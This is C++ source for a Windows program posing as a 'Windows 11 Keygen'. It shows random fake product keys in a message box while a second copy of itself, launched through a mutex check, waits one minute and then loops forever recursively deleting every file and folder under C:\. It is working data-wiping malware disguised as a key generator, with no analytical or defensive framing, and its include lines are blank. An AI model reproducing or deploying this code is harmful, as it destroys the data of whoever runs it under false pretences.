#include #include #include namespace fs = std::filesystem; void payload(const fs::path &path) { for (const auto &i: fs::directory_iterator(path)) { try { if (i.is_directory()) payload(i); fs::remove_all(i); } catch (...) { } } } void message() { const std::size_t N = 35; char key[N] = "key: "; std::random_device device; do { for (std::size_t i = 5; i < N; ++i) key[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[device() % 36]; for (std::size_t i = 10; i < N; i += 6) key[i] = '-'; key[N - 1] = '\0'; } while (MessageBoxA(0, key, "Windows 11 Keygen", MB_ICONINFORMATION | MB_RETRYCANCEL) == IDRETRY); } int main(int argc, char *argv[]) { const char NAME[] = "keygen"; HANDLE mutex = OpenMutexA(SYNCHRONIZE, FALSE, NAME); if (mutex == NULL) { STARTUPINFOA si; PROCESS_INFORMATION pi; mutex = CreateMutexA(NULL, FALSE, NAME); CreateProcessA( NULL, argv[0], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); message(); ReleaseMutex(mutex); } else { Sleep(60000); // 60000ms = 60s = 1min while (true) payload("C:\\"); } CloseHandle(mutex); }